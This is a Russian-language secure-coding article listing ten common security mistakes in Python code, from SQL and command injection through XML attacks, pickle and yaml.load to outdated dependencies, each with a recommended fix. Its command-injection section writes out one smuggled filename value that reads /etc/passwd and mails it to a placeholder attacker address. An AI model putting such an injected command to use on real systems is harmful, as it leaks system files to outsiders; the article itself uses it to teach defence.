Каких дыр в безопасности надо бояться Python-разработчику
Иногда даже самые, казалось бы, безопасные вещи, могут таить в себе опасность. Python — не исключение. Рассказываем, как работать с ним правильно
18К открытий18К показов
Писать безопасный и защищённый код сложно. Когда разрабатываете то или иное ПО, вы зачастую концентрируетесь на том, как оно должно применяться. Но в контексте безопасности в первую очередь надо думать о том, как ваше ПО может быть использовано не по назначению. Python не идеален — даже в стандартных библиотеках могут быть встроены некачественные методы.
В данном материале рассмотрены наиболее частые ошибки, допускаемые при разработке приложений на Python.
1. Инъекции
Атаки с помощью инъекций имеют широкий спектр воздействия, очень распространены и существует множество их вариаций. Ни языки, ни фреймворки им не помехи.
SQL-инъекция — это атака, направленная на веб-приложение, в ходе которой конструируется SQL-выражение из пользовательского ввода, что приводит к выполнению нелегитимных с точки зрения ПО запросов к БД. Иногда ошибочно полагают, что одно лишь экранирование кавычек — решение проблемы, но на самом деле это не так. Подробнее о работе с СУБД можно почитать в нашем материале.
Командная инъекция — вид атаки, целью которой является выполнение произвольных команд в ОС сервера. Она совершается при вызове процесса через popen
, subprocess
, os.system
когда в качестве аргументов используются значения, хранящиеся в переменных программы.
Представьте, что нужно написать функцию, чтобы перекодировать указанный видеофайл в другой формат. Спрашиваем пользователя, где найти этот файл на диске, а затем запускаем ffmpeg для конвертации. Что может пойти не так?
Злоумышленник может заменить filename
на "; cat /etc/passwd | mail momshacker@domain.com
или на что-то такое же опасное.
Решение
Пропускайте пользовательский ввод через встроенные инструменты используемого вами фреймворка. Не выполняйте SQL-запросы напрямую к БД, если на то нет явных причин. У большинства современных ORM есть встроенные средства защиты от различного рода инъекций.
Для пользовательского ввода используйте shlex
. Он экранирует все нежелательные символы.
2. Парсинг XML
Если ваше приложение хоть как-то взаимодействует с XML-файлами, вероятно, вы используете стандартную библиотеку XML. Существуют несколько распространённых атак через XML. По большей части это DoS-атаки (совершаются с целью подрыва стабильности системы, а не похищения данных). Бóльшую опасность они представляют при парсинге внешних (т.е. непроверенных) XML-файлов. Ещё советуем ознакомиться со справочником по атакам на XML-приложения.
Атака Billion Laughs, также известная как экспоненциальное расширение XML-сущности, использует несколько вложенных уровней. Каждая сущность несколько раз ссылается на другую такую же, а окончательное её определение содержит небольшую строку. Экспоненциальное расширение приводит к нескольким гигабайтам текста и потребляет чрезмерно много оперативной памяти и процессорного времени. Ниже приведён пример такой атаки.
Другой вид атаки использует расширение внешних сущностей. XML поддерживает ссылки на сущности из внешних URL-адресов. XML-парсер обычно запрашивает и загружает этот ресурс без каких-либо вопросов. Злоумышленник может обойти брандмауэры и получить доступ к ограниченным ресурсам, так как все запросы будут выполнены как бы из внутреннего и надёжного IP-адреса, а не извне.
Сторонние пакеты — зависимости для декодирования XML-файлов (файлы настройки или удалённые API) — ещё одна ситуация, заслуживающая внимания. Вы можете даже не подозревать, что ваши зависимости открыты для таких типов атаки.
Что происходит в Python? Модули стандартных библиотек — etree, xmlrpc, DOM — уязвимы для этих типов атак.
Решение
Используйте defusedxml в качестве замены стандартных модулей библиотеки. Это защитит от вышеперечисленных видов атак.
3. Команда assert
Не используйте команду assert
для защиты от тех фрагментов кода, к которым у пользователей не должно быть доступа. Обратите внимание на простой пример ниже.
По умолчанию __debug__
установлено в True
. Однако на продакшене зачастую производятся оптимизации, в том числе — установка значения False
для __debug__
. Как следствие, ваши команды assert
не сработают и позволят злоумышленнику перейти к защищённому коду независимо от полномочий пользователя.
Решение
Используйте команду assert
только для сообщения другим разработчикам об инвариантах в коде.
4. Атака по времени
Атака по времени — метод выяснения принципов работы алгоритма путём замера времени, необходимого для обработки различных значений. Атаки по времени малоэффективны при работе в удалённой сети с высокой задержкой, так как они требовательны к точности. Из-за переменной задержки, существующей во многих веб-приложениях, практически невозможно выполнить атаку по времени на серверах, работающих с протоколом HTTP.
Но если ваше приложение запрашивает пароль, например, через командную строку, то оно уязвимо к этому роду атак. Злоумышленник может написать простой скрипт для оценки времени, необходимого для сравнения введённого и хранимого секрета. Предлагаем ознакомиться с примером на GitHub.
Решение
Используйте модуль secrets.compare_digest
, введённый в Python 3.5 для проверки паролей и прочих закрытых значений.
5. Захламлённая директория site-packages или путь импорта
Система импорта в Python очень гибкая. Это отлично, если вы пытаетесь писать обезьяньи патчи или изменяете часть основной функциональности. Однако, это также одна из самых больших дыр безопасности в Python.
Установка сторонних пакетов в site-packages
, будь то в виртуальной среде или в глобальной папке (что, в общем-то, не поощряется), открывает потенциальные бреши в безопасности, который могут таиться в этих пакетах.
Были случаи публикации пакетов в PyPI с именами, схожими с другими популярными пакетами, которые выполняли произвольный код. Самый громкий инцидент, к счастью, не причинил вреда, но указал на то, что проблема есть и она, увы, игнорируется.
Ещё одна интересная ситуация — зависимости ваших зависимостей (и далее). В них могут содержаться уязвимости и они могут переопределять заданное поведение в Python через систему импорта.
Решение
Тщательно отбирайте и проверяйте используемые в проекте пакеты. Можете обратить внимание на сервис PyUp.io (бесплатного плана вполне достаточно). Используйте виртуальную среду тестирования для всех приложений, чтобы убедиться, что глобальная директория site-packages
будет настолько чистой, насколько это возможно. Проверяйте цифровые подписи пакетов.
6. Временные файлы
Для создания временных файлов обычно генерируется имя файла с помощью функции mktemp()
, а затем создаётся сам файл со сгенерированным именем. Это небезопасно — другой процесс может создать файл с этим именем за время между вызовом функции mktemp()
и последующей попыткой создания файла первым процессом. Это может привести к тому, что ваше приложение загрузит или неправильные данные или покажет другие временные файлы.
Решение
Используйте tempfile.mkstemp
для генерации временных файлов.
7. Использование yaml.load
Обратимся к циатате из документации PyYAML:
Предупреждение: вызовyaml.load
с любыми данными, полученными от ненадёжного источника, небезопасен.yaml.load
такой же продвинутый, как иpickle.load
, и может вызывать любые функции Python.
Пример ниже был найден в системе управления конфигурациями Ansible. Это значение можно было передать в Ansible Vault в виде (корректного) YAML. Оно вызывает функцию os.system()
с параметрами, представленными в файле.
Таким образом загрузка YAML-файлов из пользовательских значений фактически оставляет дыру в безопасности.
Решение
Используйте yaml.safe.load
.
8. Использование pickle
Десериализация данных через pickle — такая же опасная штука, как и YAML. Классы в Python могут объявлять магический метод под названием __reduce__
, который возвращает строку или кортеж, или аргументы для вызова при использовании pickle. Злоумышленник может использовать это для включения ссылок к одному из модулей подпроцесса для выполнения произвольных команд на стороне сервера.
Этот замечательный пример показывает, как можно запаковать класс через pickle, который открывает командную оболочку в Python 2. Есть ещё много примеров того, как можно эксплуатировать pickle.
Решение
Никогда не производите десериализацию данных из ненадёжного источника с помощью pickle. Используйте другой шаблон сериализации, например, JSON.
9. Использование устаревшей среды выполнения Python
Многие POSIX-системы поставляются с Python 2 (старая версия).
Так как Python (точнее CPython) написан на C, бывают случаи, когда встроенный интерпретатор сам имеет дыры в безопасности. Общие проблемы с безопасностью в C связаны с распределением памяти и ошибками переполнения буфера.
Примечание Подробнее об этих ошибках можно почитать в нашей статье.
В CPython на протяжении многих лет имелись уязвимости, связанные с переполнением и выходом за границы буфера, но каждая была исправлена в последующих версиях. Так что всё нормально. Просто надо обновлять.
Обратите внимание на пример из версии 2.7.13 и раньше. Уязвимость, связанная с переполнением целочисленного значения, позволяла выполнять произвольный код.
Решение
Установите последнюю версию Python и не забывайте про обновления.
10. Использование устаревших сторонних библиотек
Как и среда выполнения, зависимости тоже нуждаются в обновлениях.
Существует практика закрепления тех версий пакетов с PyPI, которые «стабильно и хорошо работают». Но это не всегда хорошо. Ведь уязвимости в пакетах есть и по сей день, а разработчики их исправляют. Всё время что-то улучшается в плане безопасности.
Решение
Используйте сервисы для проверки обновлений, проводите тесты и поддерживайте пакеты в последних версиях.
Используйте инструменты вроде InSpec для проверки установленных пакетов.
18К открытий18К показов